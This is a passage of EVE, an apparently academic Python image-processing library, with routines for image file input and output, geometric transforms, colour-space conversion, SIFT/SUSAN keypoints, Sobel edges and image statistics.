r = math.sqrt ((y - yc)**2 + (x - xc)**2)
a = math.atan2 (y - yc, x - xc) * 180 / math.pi # in degrees
try:
exec (transform)
except Exception as e:
if nerrs < maxerr:
print (e, file=sys.stderr)
elif nerrs == maxerr:
print ("...", file=sys.stderr)
nerrs += 1
new[y,x] = fail
# Report the number of errors, if there were any.
if nerrs > 0:
print ("A total of %d errors were generated." % nerrs,
file=sys.stderr)
# Return the processed image.
return new
#-------------------------------------------------------------------------------
def print_peaks (pos, format="%4d %4d: %.2f", intro=None, fd=sys.stdout):
"""
Print a series of peaks out, one per line.
Arguments:
pos list containing the peaks to be printed out
format format for (y,x) and height to be printed out
(default: "%4d %4d: %.2f")
intro if supplied, this string is printed out before the peaks
fd file on which the output is to be written (default: sys.stdout)
"""
if not intro is None:
print (intro, file=fd)
for ht, y, x in pos:
print (format % (y, x, ht), file=fd)
#-------------------------------------------------------------------------------
def print_positions (pos, format="%4d %4d", intro=None, fd=sys.stdout):
"""
Print a series of positions out, one per line.
Arguments:
pos list containing the positions to be printed out
format format for (y,x) to be printed out (default: "%4d %4d")
intro if supplied, this string is printed out before the positions
fd file on which the output is to be written (default: sys.stdout)
"""
if not intro is None:
print (intro, file=fd)
for y, x in pos:
print (format % (y, x), file=fd)
#-------------------------------------------------------------------------------
def profile (im, y0, x0, y1, x1, disp=False):
"""
Extract the image values on a straight line from (y0,x0) to (y1,x1),
optionally displaying the result.
Arguments:
im image from which the profile is desired
y0 y-value (row) of the start of the line
x0 x-value (column) of the start of the line
y1 y-value (row) of the end of the line
x1 x-value (column) of the end of the line
disp if set, display the profile on the image (default: False)
"""
im = reshape3 (im)
ny, nx, nc = sizes (im)
y0 = int (y0)
x0 = int (x0)
y1 = int (y1)
x1 = int (x1)
# If we're do display the result, make a copy of the image to scribble on.
if disp:
sketch = eve.copy (im)
# The basis of the routine is the same code as draw_line_fast.
steep = True if abs(y1 - y0) > abs(x1 - x0) else False
if steep:
y0, x0 = x0, y0
y1, x1 = x1, y1
if x0 > x1:
x1, x0 = x0, x1
y1, y0 = y0, y1
dx = x1 - x0 + 0.0
dy = abs(y1 - y0)
e = 0.0
if dx == 0.0:
de = 1.0e30
else:
de = dy / dx
y = y0
if y0 < y1:
ystep = 1
else:
ystep = -1
np = x1 - x0 + 1
npts = x1 - x0 + 1
xvals = numpy.ndarray (npts)
for c in range (0, npts):
xvals[c] = x0 + c
profile = numpy.ndarray ((nc, npts))
ip = 0
for x in range (x0,x1+1):
v = None
if steep:
if x >= 0 and x < ny and y >= 0 and y < nx:
v = im[x,y,:]
else:
if x >= 0 and x < nx and y >= 0 and y < ny:
v = im[y,x,:]
if v is not None:
for c in range (0, nc):
profile[c,ip] = v[c]
ip += 1
e += de
if e >= 0.5:
y += ystep
e -= 1.0
# Return the result.
return xvals, profile
#-------------------------------------------------------------------------------
def ramp (im):
"""
Fill an image with a grey-scale ramp.
Arguments:
im image into which the pattern is written (modified)
"""
im = reshape3 (im)
ny, nx, nc = sizes (im)
im[:,:,:] = numpy.fromfunction (lambda i, j, k: i + j + k, ((ny, nx, nc)))
#-------------------------------------------------------------------------------
def read_pnm (fn):
"""
Read a PBMPLUS-format (often called NETPBM-format) image and return it.
Both ASCII and binary variants are supported. The values stored
actually stored in the file are returned; the format definition
suggests that they should be re-scaled according to the so-called
`maxval` stored in the file but it seems crazy to do this given the
internal representation used in EVE. If the image seems to have too
little contrast after reading it in, you might consider using EVE
routine contrast_stretch to re-scale it.
Arguments:
fn filename containing the image or "-" to read standard input
"""
if fn == "-":
content = sys.stdin.read ()
else:
with open (fn, "rb") as f:
content = f.read ()
# For a file format that looks straightforward, PBMPLUS-format files are
# surprisingly difficult to read, mostly because the header is textual
# even when the content is binary. There are actually six flavours of
# file, identified by the first two bytes:
# ASCII binary content
# P1 P4 bit-map
# P2 P5 grey-scale
# P3 P6 RGB colour
# so let's look at those bytes and jump to the relevant piece of code.
id = str (content[0:2], "ascii")
if id == "P1":
# Textual bitmap. Set the number of channels and split the image into
# tokens we can parse.
tokens = _pnm_tokenize (content)
ny = int (tokens[2])
nx = int (tokens[1])
nc = 1
# Create and fill the image.
im = image ((ny, nx, nc))
y = 0
x = 0
# Unpack the image. Spaces between the individual pixels are optional
# so we walk along the tokens we have cut from the input, setting a
# pixel for each character. We should strictly check that ch below is
# '0' or '1'...
for t in tokens[3:]:
for ch in t:
im[y,x,0] = 0 if ch == '0' else 1
x += 1
if x >= nx:
x = 0
y += 1
elif id == "P2" or id == "P3":
# Textual grey-scale or colour image. Set the number of channels and
# split the image into tokens we can parse.
nc = 1 if id == "P2" else 3
tokens = _pnm_tokenize (content)
ny = int (tokens[2])
nx = int (tokens[1])
# Make sure the number of tokens agrees with the image size.
if ny * nx * nc + 4 != len (tokens):
raise ValueError ("There are %d values to read, not %d!" \
% (len (tokens), ny*nx*nc+4))
# Create and fill the image.
im = image ((ny, nx, nc))
it = 4
for y in range (0, ny):
for x in range (0, nx):
for c in range (0, nc):
im[y,x,c] = int (tokens[it])
it += 1
elif id == "P4":
# Binary bitmap. We start by parsing the header.
header, ch = _pnm_header (content, 3)
# Pull out the sizes and create the image.
ny = int (header[2])
nx = int (header[1])
im = image ((ny, nx, 1))
# Copy across the content, one bit at a time.
y = 0
x = 0
for byte in content[ch:]:
for bitpos in range (0, 8):
if bitpos >= nx: break
bitpos = 7 - bitpos
bit = 1 << bitpos
v = 0 if (byte & bit) == 0 else 1
im[y,x,0] = v
x += 1
if x >= nx:
y += 1
x = 0
elif id == "P5" or id == "P6":
# Binary grey-scale or colour image. Set the number of channels and
# parse the header.
nc = 1 if id == "P5" else 3
header, ch = _pnm_header (content, 4)
# Pull out the sizes and create the image.
ny = int (header[2])
nx = int (header[1])
im = image ((ny, nx, nc))
# Copy across the content.
for y in range (0, ny):
for x in range (0, nx):
for c in range (0, nc):
im[y,x,c] = content[ch]
ch += 1
else:
raise ValueError ("First two bytes of PBMPLUS image file are '%s'!" \
% str (content))
return im
#-------------------------------------------------------------------------------
def reduce (im, blocksize):
"""
Reduce the size of an image by averaging each region of
blocksize x blocksize pixels to a single pixel, returning the result.
Arguments:
im image to be reduced in size
blocksize factor by which the size of the image is to be reduced
"""
im = reshape3 (im)
ny, nx, nc = sizes (im)
nny = ny // blocksize
nnx = nx // blocksize
nim = image ((nny, nnx, nc))
for y in range (0, nny):
ylo = y * blocksize
yhi = ylo + blocksize
for x in range (0, nnx):
xlo = x * blocksize
xhi = xlo + blocksize
for c in range (0, nc):
nim[y,x,c] = im[ylo:yhi,xlo:xhi,c].mean()
return nim
#-------------------------------------------------------------------------------
def reflect_horizontally (im):
"""
Reflect an image horizontally.
Arguments:
im image to be reflected (modified)
"""
im = reshape3 (im)
ny, nx, nc = sizes (im)
nx2 = nx // 2
for y in range (0, ny):
for x in range (0, nx2):
t = im[y,x,:].copy()
im[y,x,:] = im[y,nx-x-1,:].copy()
im[y,nx-x-1,:] = t
#-------------------------------------------------------------------------------
def reflect_vertically (im):
"""
Reflect an image vertically.
Arguments:
im image to be reflected (modified)
"""
im = reshape3 (im)
ny, nx, nc = sizes (im)
ny2 = ny // 2
for y in range (0, ny2):
for x in range (0, nx):
t = im[y,x,:].copy()
im[y,x,:] = im[ny-y-1,x,:].copy()
im[ny-y-1,x,:] = t
#-------------------------------------------------------------------------------
def region (im, ylo, yhi, xlo, xhi):
"""
Return a rectangular region of an image.
Arguments:
im image from which the region is to be taken
ylo lower y-value (row) of the region
yhi higher y-value (row) of the region
xlo lower x-value (column) of the region
xhi higher x-value (column) of the region
"""
im = reshape3 (im)
return im[ylo:yhi,xlo:xhi,:]
#-------------------------------------------------------------------------------
def reshape2 (im):
"""
For a three-index image as used by EVE, convert it to a two-index
one if there is only one channel. This converts an image from the
format used by EVE into one that is compatible with OpenCV and
scikit-image.
Arguments:
im image that may need to be re-shaped
"""
shape = im.shape
if len (shape) == 3 and shape[2] == 1: im = im.reshape (shape[0], shape[1])
return im
#-------------------------------------------------------------------------------
def reshape3 (im):
"""
Ensure im has three indices, even if there is only one band. This
is principally used within EVE to avoid indexing errors on
monochrome images that have been manipulated by OpenCV or
scikit-image.
Arguments:
im image that may need to be re-shaped
"""
shape = im.shape
if len (shape) == 2: im = im.reshape (shape[0], shape[1], 1)
return im
#-------------------------------------------------------------------------------
def resize (im, nny, nnx, order=1):
"""
Return im, re-sized to be of size (nny, nnx) by interpolation.
Arguments:
im image to be re-sized
nny number of rows in the re-sized image
nnx number of columns in the re-sized image
order order of interpolating function (default: 1)
"""
# The following is adapted from an example in the scipy cookbook.
import scipy.ndimage
im = reshape3 (im)
ny, nx, nc = sizes (im)
yl, xl = numpy.mgrid[0:ny-1:nny*1j,0:nx-1:nnx*1j]
coords = scipy.array ([yl, xl])
result = image ((nny, nnx, nc))
for c in range (0, nc):
result[:,:,c] = scipy.ndimage.map_coordinates (im[:,:,c], coords,
order=order)
return result
#-------------------------------------------------------------------------------
def reverse_contrast (im):
"""
Reverses the contrast in `im`, returning the result.
Arguments:
im image whose contrast is to be reversed
"""
temp = image (im)
hi = maxval (im)
set (temp, hi)
return temp - im
#-------------------------------------------------------------------------------
def rgb_to_hsv (im):
"""
Convert an image from RGB space to HSV.
This routine converts an image in which the red, green and blue
components are in channels 0, 1 and 2 respectively to the HSV colour
space. The hue, saturation and value components are returned in
channels 0, 1 and 2 respectively. Hue lies in the range [0,359]
while saturation and value are percentages; these are compatible
with the popular display program 'xv'.
Arguments:
im image to be converted (modified)
This routine is adapted from code written by Frank Warmerdam
<warmerdam@pobox.com> and Trent Hare; see
http://svn.osgeo.org/gdal/trunk/gdal/swig/python/samples/hsv_merge.py
"""
im = reshape3 (im)
r = im[:,:,0]
g = im[:,:,1]
b = im[:,:,2]
maxc = numpy.maximum (r, numpy.maximum(g, b))
minc = numpy.minimum (r, numpy.minimum(g, b))
v = maxc
minc_eq_maxc = numpy.equal(minc,maxc)
# Compute the difference, but reset zeros to ones to avoid divide
# by zeros later.
ones = numpy.ones ((r.shape[0], r.shape[1]))
maxc_minus_minc = numpy.choose (minc_eq_maxc, (maxc-minc,ones))
s = (maxc - minc) / numpy.maximum (ones, maxc)
rc = (maxc - r) / maxc_minus_minc
gc = (maxc - g) / maxc_minus_minc
bc = (maxc - b) / maxc_minus_minc
maxc_is_r = numpy.equal (maxc,r)
maxc_is_g = numpy.equal (maxc,g)
maxc_is_b = numpy.equal (maxc,b)
h = numpy.zeros ((r.shape[0], r.shape[1]))
h = numpy.choose (maxc_is_b, (h, 4.0 + gc - rc))
h = numpy.choose (maxc_is_g, (h, 2.0 + rc - bc))
h = numpy.choose (maxc_is_r, (h, bc - gc))
im[:,:,0] = numpy.mod (h/6.0, 1.0) * 360.0
im[:,:,1] = s * 100.0 # to be a percentage
im[:,:,2] = v * 100.0 / max_image_value # to be a percentage
#-------------------------------------------------------------------------------
def rgb_to_mono (im):
"""
Convert an image from RGB space to luminence (the Y of YIQ).
This routine converts an image in which the red, green and blue
components are in channels 0, 1 and 2 respectively to luminance,
assuming the standard NTSC phosphor. The result is returned in a
new image.
Arguments:
im image to be converted
"""
im = reshape3 (im)
r = im[:,:,0]
g = im[:,:,1]
b = im[:,:,2]
ny, nx, nc = sizes (im)
lum = image ((ny, nx, 1))
lum[:,:,0] = 0.299*r + 0.587*g + 0.114*b
return lum
#-------------------------------------------------------------------------------
def rgb_to_yiq (im):
"""
Convert an image from RGB space to YIQ.
This routine converts an image in which the red, green and blue
components are in channels 0, 1 and 2 respectively to the YIQ colour
space, assuming the standard NTSC phosphor. The Y, I and Q
components are returned in channels 0, 1 and 2 respectively.
Arguments:
im image to be converted (modified)
"""
im = reshape3 (im)
r = im[:,:,0]
g = im[:,:,1]
b = im[:,:,2]
im[:,:,0] = 0.299*r + 0.587*g + 0.114*b
im[:,:,1] = 0.596*r - 0.275*g - 0.321*b
im[:,:,2] = 0.212*r - 0.523*g + 0.311*b
#-------------------------------------------------------------------------------
def rotate90acw (im):
"""
Return a copy of `im` rotated around its centre by 90 degrees anticlockwise.
Arguments:
im: image to be rotated
"""
return numpy.rot90 (im, 1)
#-------------------------------------------------------------------------------
def rotate90cw (im):
"""
Return a copy of `im` rotated around its centre by 90 degrees clockwise.
Arguments:
im: image to be rotated
"""
return numpy.rot90 (im, 3)
#-------------------------------------------------------------------------------
def rotate180 (im):
"""
Return a copy of `im` rotated around its centre by 180 degrees.
Arguments:
im: image to be rotated
"""
return numpy.rot90 (im, 2)
#-------------------------------------------------------------------------------
def set_mean_sd (im, newmean, newsd):
"""
Rescale the image to a given mean and sd.
Arguments:
im image to be rescaled (modified)
newmean mean the image is to have after rescaling
newsd standard deviation that the image is to have after rescaling
"""
oldmean = mean (im)
oldsd = sd (im)
im -= oldmean
im /= oldsd
im *= newsd
im += newmean
#-------------------------------------------------------------------------------
def set_to_pattern (im, yfac=100, xfac=10, cfac=1):
"""
Fill an image with a simple test pattern, wherein each pixel receives
a unique value.
Arguments:
im image to receive (modified)
yfac increment to make for each line (default: 100)
xfac increment to make for each pixel of a line (default: 10)
cfac increment to make for each channel of a pixel (default: 1)
"""
ny, nx, nc = sizes (im)
for y in range (0, ny):
yy = yfac * y
for x in range (0, nx):
xx = xfac * x
for c in range (0, nc):
im[y,x,c] = yy + xx + cfac *c
#-------------------------------------------------------------------------------
def sd (im):
"""
Return the standard deviation of an image.
Arguments:
im image for which the standard deviation is to be found
"""
return im.std (ddof=1)
#-------------------------------------------------------------------------------
def segment_hsv (im, hlo, hhi, slo, shi, vlo, vhi, ishsv=False):
"""
Return a binary mask identifying pixels that fall within a region
in HSV space.
Arguments:
im image in which regions are to be found
hlo lowest HSV hue
hhi highest HSV hue
slo lowest HSV saturation
shi highest HSV saturation
vlo lowest HSV value
vhi highest HSV value
ishsv if True, the input image contains pixels in HSV format rather
than RGB (default: False)
"""
hsvim = copy (im)
hsvim = reshape3 (hsvim)
if not ishsv: rgb_to_hsv (hsvim)
ny, nx, nc = sizes (hsvim)
mask = image ((ny, nx, 1))
h = hsvim[:,:,0]
s = hsvim[:,:,1]
v = hsvim[:,:,2]
if hlo > hhi:
m = ((h < hlo) | (hhi < h)) & (slo < s) & (s < shi) & \
(vlo < v) & (v < vhi) # we span 360 degrees
else:
m = ((hlo < h) & (h < hhi)) & (slo < s) & (s < shi) & \
(vlo < v) & (v < vhi)
mask[numpy.where (m)] = max_image_value
return mask
#-------------------------------------------------------------------------------
def select_matches (scores, locs1, locs2, max_score_factor=5, max_matches=50):
"""Choose the matches with the best scores.
Arguments:
scores list of scores from match_descriptors
locs1 locations of features found on the first image
locs2 locations of features found on the second image
max_score_factor ratio of the worst match to the best (default: 5)
max_matches maximum number of matches to return (default: 50)
"""
n = len(scores)
matches = []
# If the best score is actually zero (i.e., perfect), turn off the threshold
# by making it ludicrously big.
if scores[0][0] != 0.0:
thresh = scores[0][0] * max_score_factor
else:
thresh = huge
for i in range (0, n):
if scores[i][0] <= thresh:
i1 = scores[i][1] # first image
i2 = scores[i][2] # second image
y1 = locs1[i1,0]
x1 = locs1[i1,1]
y2 = locs2[i2,0]
x2 = locs2[i2,1]
matches.append ([y1, x1, y2, x2, i1 * i2])
if len (matches) >= max_matches: break
else:
break
return matches
#-------------------------------------------------------------------------------
def select_pixels_above (im, threshold):
"""
Return a list of the location of all pixels in `im` above `threshold`.
Arguments:
im image to be examined
threshold threshold above which pixels are identified
"""
locs = []
im = reshape3 (im)
ny, nx, nc = sizes (im)
for y in range (0, ny):
for x in range (0, nx):
for c in range (0, nc):
if im[y,x,c] > threshold:
locs += [[y,x,c]]
return locs
#-------------------------------------------------------------------------------
def select_pixels_below (im, threshold):
"""
Return a list of the location of all pixels in `im` below `threshold`.
Arguments:
im image to be examined
threshold threshold below which pixels are identified
"""
locs = []
im = reshape3 (im)
ny, nx, nc = sizes (im)
for y in range (0, ny):
for x in range (0, nx):
for c in range (0, nc):
if im[y,x,c] < threshold:
locs += [[y,x,c]]
return locs
#-------------------------------------------------------------------------------
def set (im, v):
"""
Set all the pixels of an image to a constant value.
Arguments:
im image to be set (modified)
v value to which the pixels are to be set
"""
im = reshape3 (im)
im[:,:,:] = v
#-------------------------------------------------------------------------------
def set_channel (im, c, chim):
"""
Set a channel of an image to a constant value.
Arguments:
im image in which the channel is to be inserted (modified)
c number of the channel which is to be set
chim single-channel image which is to be inserted in channel c
"""
im[:,:,c] = chim[:,:,0]
#-------------------------------------------------------------------------------
def set_region (im, yfrom, xfrom, yto, xto, v):
"""
Set a region of an image to a constant value.
Arguments:
im image in which the region is to be set (modified)
ylo lower y-value (row) of the region
yhi higher y-value (row) of the region
xlo lower x-value (column) of the region
xhi higher x-value (column) of the region
v value to which the region is to be set
"""
im = reshape3 (im)
im[int(yfrom):int(yto), int(xfrom):int(xto), :] = v
#-------------------------------------------------------------------------------
def shift_and_wrap (im, y, x):
"""
Shift image `im` by `y` and `x`, returning the result.
Arguments:
im image to be processed
y y-shift (positive for down)
x x-shift (positive for right)
"""
res = numpy.roll (im, int (y), axis=0)
res = numpy.roll (res, int (x), axis=1)
return res
#-------------------------------------------------------------------------------
def shrink (im, mask):
"""
Perform a morphological shrink on `im` with `mask`, returning the result.
Arguments:
im image to be processed
mask mask image
"""
return convolve (im, mask, "min")
#-------------------------------------------------------------------------------
def sift (fn):
"""
Return the SIFT keypoints of the image stored in file `fn`. If the
keypoints do not already exist, run the SIFT program from the popular
VLfeat package (from http://www.vlfeat.rg/) to create them.
The keypoints are stored for future use in a file whose name depends
on `fn` but with the '.sift' extension.
Arguments:
fn image file for which the keypoints are to be returned.
"""
# The first thing to do is ascertain whether fn has a corresponding file
# of SIFT keypoints already calculated. We try the filename + ".sift" and
# the filename a ".sift" extension instead.
for xfn in [fn + ".sift", os.path.splitext(fn)[0] + '.sift']:
if os.path.exists (xfn):
return sift_keypoints (xfn)
# There are no keypoints ready and waiting for us, so we have to run SIFT
# to generate them. However, VLfeat's SIFT requires PGM-format input
# files, so if fn isn't in that format, we convert it to that.
if fn.endswith (".pgm"):
ifn = fn
else:
ifn = os.path.splitext(fn)[0] + '.pgm'
im = image (fn)
ny, nx, nc = sizes (im)
if nc != 1:
im = mono (im)
print ("[Generating PGM-format file " + ifn + "]", file=sys.stderr)
write (im, ifn)
ofn = os.path.splitext(fn)[0] + '.sift'
cmd = 'sift %s -o %s' % (ifn, ofn)
print ("Executing " + cmd, file=sys.stderr)
os.system (cmd)
if ifn != fn:
os.remove (ifn)
return sift_keypoints (ofn)
#-------------------------------------------------------------------------------
def sift_keypoints (fn):
"""
Return the SIFT keypoints from file fn.
Two arrays are returned, the first giving the locations (and
corresponding scales and orientations) of the feature points found,
while the second contains the associated descriptors.
Arguments:
im name of a file containing the SIFT keypoints
"""
import scipy.linalg
# Read in the keypoints from the file. We read the entire file into memory,
# where it ends up as a list with one line of the file in each element.
# Each line contains exactly 132 elements which give the position and
# orientation of the feature and its descriptor; we split these out into
# the arrays called locs and descs, normalising the latter en route. We
# ultimately return locs and descs.
fd = open (fn)
lines = fd.readlines()
fd.close()
lf = 128 # length of each descriptor
nf = len (lines) # number of features
if nf == 0: return None, None
locs = numpy.zeros ((nf, 4))
descs = numpy.zeros ((nf, lf))
for f in range (0, nf):
v = lines[f].split()
p = 0
# row, col, scale, orientation
locs[f,1] = float (v[p])
locs[f,0] = float (v[p+1])
locs[f,2] = float (v[p+2])
locs[f,3] = float (v[p+3])
p += 4
for i in range (0, lf):
descs[f,i] = float (v[p+i])
descs[f] = descs[f] / scipy.linalg.norm (descs[f])
return locs, descs
#-------------------------------------------------------------------------------
def skeleton (im, mask, verbose=True):
"""
Return the skeleton (medial axis transform) of an image with the structure
element in mask.
Arguments:
im image to be processed
mask structuring element (often a 3x3 '+' shape)
verbose if True, output the iteration number to stdout while running
(default: True)
"""
nits = 0
ny, nx, nc = sizes (im)
skel = image ((ny, nx, nc), type="uint8")
while True:
nits += 1
if verbose: print (nits, end="\r")
eroded = convolve (im, mask, statistic="min")
opened = convolve (eroded, mask, statistic="max")
temp = (im - opened).astype ("uint8")
eroded = eroded.astype ("uint8")
skel = numpy.bitwise_or (skel, temp)
if eroded.sum () == 0:
break
else:
im = copy (eroded)
if verbose: print ()
return skel
#-------------------------------------------------------------------------------
def sizes (im):
"""
Return the dimensions of an image as a list.
Arguments:
im the image whose dimensions are to be returned
"""
return im.shape
#-------------------------------------------------------------------------------
def snr (im1, im2):
"""
Return the signal-to-noise ratio between two images.
Arguments:
im1 first image to be used in calculating the SNR
im2 first image to be used in calculating the SNR
"""
r = correlation_coefficient (im1, im2)
if r <= 0.0: return 0.0
if r >= 1.0: return math.inf
return math.sqrt (r / (1.0 - r))
#-------------------------------------------------------------------------------
def sobel (im):
"""
Perform edge detection in im using the Sobel operator, returning the
result.
Arguments:
im image in which the edges are to be found
"""
import scipy
import scipy.ndimage as ndimage
# Convert the EVE-format image into one compatible with scipy, run its
# Sobel routine, then convert the result back into EVE format and return it.
im = reshape3 (im)
ny, nx, nc = sizes (im)
if nc == 1: sci_im = im[:,:,0]
else: sci_im = mono(im)[:,:,0]
grad_x = ndimage.sobel (sci_im, 0)
grad_y = ndimage.sobel (sci_im, 1)
grad_mag = scipy.sqrt (grad_x**2 + grad_y**2)
gm = image ((ny,nx,1))
gm[:,:,0] = grad_mag[:,:]
return gm
#-------------------------------------------------------------------------------
def ssd (im1, im2):
"""
Return the sum-squared difference between two images.
Arguments:
im1 image form which im2 is to be subtracted
im2 image to be subtracted from im1
"""
return ((im1 - im2)**2).sum()
#-------------------------------------------------------------------------------
def statistics (im, output=False, prefix=" ", fd=sys.stdout):
"""
Return important statistics of an image.
This routine returns the minimum, maximum, mean and standard
deviation as a list.
Arguments:
im image for which the statistics are to be calculated
output if True, output the statistics to fd (default: False)
prefix text to be output before each line of output (default: " ")
fd file to which the output should be written
(default: sys.stdout)
"""
lo, hi = extrema (im)
ave = mean (im)
sdev = sd (im)
if output:
print (prefix + "mean:", ave, file=fd)
print (prefix + "s.d.:", sdev, file=fd)
print (prefix + "min: ", lo, file=fd)
print (prefix + "max: ", hi, file=fd)
return [lo, hi, ave, sdev]
#-------------------------------------------------------------------------------
def subsample (im, inc=2):
"""
Sub-sample an image by selecting every inc-th pixel from every
inc-th line. The sub-sampled image is returned.
Arguments:
im image to be sub-sampled
inc number of pixels between sub-samples (default: 2)
"""
im = reshape3 (im)
ny, nx, nc = sizes (im)
ny2 = ny // inc
nx2 = nx // inc
im2 = image ((ny2, nx2, nc))
for y in range (0, ny2):
for x in range (0, nx2):
im2[y,x,:] = im[inc*y,inc*x,:]
return im2
#-------------------------------------------------------------------------------
def sum (im):
"""
Return the sum of all the values of an image.
Arguments:
im image for which the sum is to be found
"""
return im.sum()
#-------------------------------------------------------------------------------
def sum_elements (v):
"Return the sum of elements of a list."
if isinstance (v, list) or isinstance (v, tuple):
sum = 0
for el in v:
sum += el
else:
sum = v
return sum
#-------------------------------------------------------------------------------
def susan (im):
"""
Process image `im` using the SUSAN feature point detector, returning
the result. An external program is used to perform the processing.
Arguments:
im the image for which the keypoints are to be found
"""
global PROGRAMS
# SUSAN requires a single-channel image.
im = reshape3 (im)
ny, nx, nc = sizes (im)
if nc == 1:
im1 = im
else:
im1 = mono (im)
susim = invoke_image_program ("susan", im=im1)
return susim
#-------------------------------------------------------------------------------
def swap_channels (im):
"""
Return an image with the red and blue channels interchanged, intended
for converting OpenCV BGR images to the more conventional RGB order.
Arguments:
im the image whose channels are to be swapped
"""
res = im.copy ()
ch0 = im[:,:,0]
ch2 = im[:,:,2]
res[:,:,2] = ch0[:,:]
res[:,:,0] = ch2[:,:]
return res
#-------------------------------------------------------------------------------
def thong (im, scale=64.0, offset=128.0):
"""
Fill an image with Tran Thong's zone-plate-like test pattern.
Arguments:
im image to contain the pattern (modified)
scale maximum deviation of the pattern from the mean
offset mean of the resulting pattern
"""
# Work out the centre of the region and the various fiddle factors.
im = reshape3 (im)
ny, nx, nc = sizes (im)
xc = nx // 2
yc = ny // 2
nmax = ny
if nx > ny: nmax = nx
rad = 0.4 * nmax
rad2 = rad / 2.0
radsqd = rad * rad
radsq4 = radsqd / 4.0
fac = 2 * math.pi * 0.496
# Fill the region with the pattern.
for y in range (0, ny):
yy = (y - yc) **2
for x in range (0, nx):
rsqd = (x - xc) **2 + yy
if rsqd <= radsq4:
v = scale * math.cos (fac*rsqd/rad) + offset
for c in range (0, nc):
im[y,x,c] = v
else:
r = math.sqrt (rsqd)
v = scale * math.cos (fac * (2*r - rsqd/rad - rad2)) + offset
im[y,x,:] = v
#-------------------------------------------------------------------------------
def transpose (im):
"""
Transpose an image in the leading diagonal, returning the result.
Arguments:
im image to be transposed
"""
im = reshape3 (im)
ny, nx, nc = sizes (im)
tr = image ((nx, ny, nc))
return numpy.transpose (im, axes=(1, 0, 2))
#-------------------------------------------------------------------------------
def variance (im):
"""
Return the variance of an image.
Arguments:
im image for which the standard deviation is to be found
"""
return im.var (ddof=1)
#-------------------------------------------------------------------------------
def version ():
"""
Return our version, which is a date.
"""
# The content of timestamp is updated every time Emacs saves the file.
return timestamp[13:32]
#-------------------------------------------------------------------------------
def version_info (caller_modules=[], caller_programs=[]):
"""
Return a string of version information.
Arguments:
caller_versions list of information to put at the top of the left column
"""
fmt = "%-15s %-22s"
nope = "[not available]"
# Do the caller's version information first.
mtext = []
for code, v in caller_modules:
mtext += [fmt % (code, v)]
# Append the versions of the Python modules we use. Sadly, we cannot do
# this in a neat loop.
mtext += [fmt % ("EVE library:", version ())]
mtext += [fmt % ("Python:", platform.python_version ())]
try:
from PIL import Image
v = Image.__version__
except:
v = nope
mtext += [fmt % ("Image:", v)]
try:
import numpy
v = numpy.__version__
except:
v = nope
mtext += [fmt % ("numpy:", v)]
try:
import matplotlib
v = matplotlib.__version__
except:
v = nope
mtext += [fmt % ("matplotlib:", v)]
try:
import scipy
v = scipy.__version__
except:
v = nope
mtext += [fmt % ("scipy:", v)]
# Do the caller's version information first.
ptext = []
for code, v in caller_programs:
ptext += [fmt % (code, v)]
# Now do the external programs that we use.
for task in sorted (PROGRAMS.keys ()):
for prog, cmd in PROGRAMS[task]:
if find_in_path (prog):
v = prog
break
else:
v = nope
ptext += [fmt % (task + ":", v)]
# Now construct the actual text to return.
mlen = len (mtext)
plen = len (ptext)
text = ""
for i in range (0, max (mlen, plen)):
if i >= mlen:
text += " " * 38
else:
text += mtext[i]
if i >= plen:
pass
else:
text += ptext[i]
text += "\n"
return text[:-1]
#-------------------------------------------------------------------------------
def write (xim, fn, bgr=False):
"""
Write an image to a file, the format being determined by the
filename extension.
Arguments:
im image to be written
fn name of the file to be written, ending in:
".jpg" for JPEG format
".png" for PNG format
".pnm" or ".pgm" or ".ppm" for PBMPLUS format
bgr the channels are ordered B-G-R as in OpenCV (default: False)
"""
# Make sure the channels are in the right order.
im = xim.copy ()
if bgr:
b = xim[:,:,0]
g = xim[:,:,1]
r = xim[:,:,2]
im[:,:,0] = r
im[:,:,1] = g
im[:,:,2] = b
# Determine the output format from the filename and invoke the appropriate
# routine to do the saving.
extn = fn[-3:]
if extn == 'jpg': write_pil (im, fn, 'JPEG')
elif extn == 'png': write_pil (im, fn, 'PNG')
elif extn == 'bmp': write_pil (im, fn, 'BMP')
elif extn == 'pnm': write_pnm (im, fn)
elif extn == 'pgm': write_pnm (im, fn)
elif extn == 'ppm': write_pnm (im, fn)
else:
ValueError, 'Unsupported file extension'
#-------------------------------------------------------------------------------
def write_bmp (im, fn):
"""
Write an image to a file in BMP format.
Arguments:
im image to be written
fn name of the file to be written
"""
write_pil (im, fn, 'BMP')
#-------------------------------------------------------------------------------
def write_jpeg (im, fn):
"""
Write an image to a file in JPEG format.
Arguments:
im image to be written
fn name of the file to be written
"""
write_pil (im, fn, 'JPEG')
#-------------------------------------------------------------------------------
def write_jpg (im, fn):
"""
Write an image to a file in JPEG format.
Arguments:
im image to be written
fn name of the file to be written
"""
write_pil (im, fn, 'JPEG')
#-------------------------------------------------------------------------------
def write_pil (im, fn, format='PNG'):
"""
Write an image to a file using PIL.
Arguments:
im image to be written
fn name of the file to be written
format the format of the file to be written (default: 'PNG')
"""
from PIL import Image
im = reshape3 (im)
ny, nx, nc = sizes (im)
bim = im.astype ('B')
if nc == 3:
pilImage = Image.fromarray (bim, 'RGB')
elif nc == 4:
pilImage = Image.fromarray (bim, 'RGBA')
else:
pilImage = Image.fromarray (bim[:,:,0], 'L')
if format == 'display': pilImage.show ()
else: pilImage.save (fn, format)
#-------------------------------------------------------------------------------
def write_png (im, fn):
"""
Write an image to a file in PNG format.
Arguments:
im image to be written
fn name of the file to be written
"""
write_pil (im, fn, 'PNG')
#-------------------------------------------------------------------------------
def write_pnm (im, fn, binary=True, stretch=False, biggreys=False):
"""
Write an image in PBMPLUS format to a file or stdout.
Arguments:
im image to be written
fn name of the file to be written
binary if True, output binary, rather than text, data
(default: True)
stretch if True, contrast-stretch the image during output
(default: False)
biggreys if True, output 16-bit pixels (default: False)
"""
# First, make sure we know the range of the data we are to output and
# work out the necessary scaling factor.
if biggreys: opmax = 62235; fmt = "%6d"
else: opmax = max_image_value; fmt = "%4d"
if stretch:
lo, hi = extrema (im)
opmin = 0
fac = opmax / (hi - lo)
im = reshape3 (im)
ny, nx, nc = sizes (im)
# We have to do things differently if we're writing out a binary or textual
# version of the image; the binary one is faster to do and much smaller.
if binary:
# Decide on the identifier that goes into the header.
if nc == 1:
pbmtype = "P5"
elif nc == 3:
pbmtype = "P6"
else:
pbmtype = "P? (%d channels as binary)" % nc
# Open the output file.
if fn == "-":
f = sys.stdout
else:
f = open (fn, "wb")
# Write the header.
f.write ((pbmtype + "\n%d %d\n%d\n" % (nx, ny, opmax)).encode())
# Scale the data if necessary and write them out.
temp = im
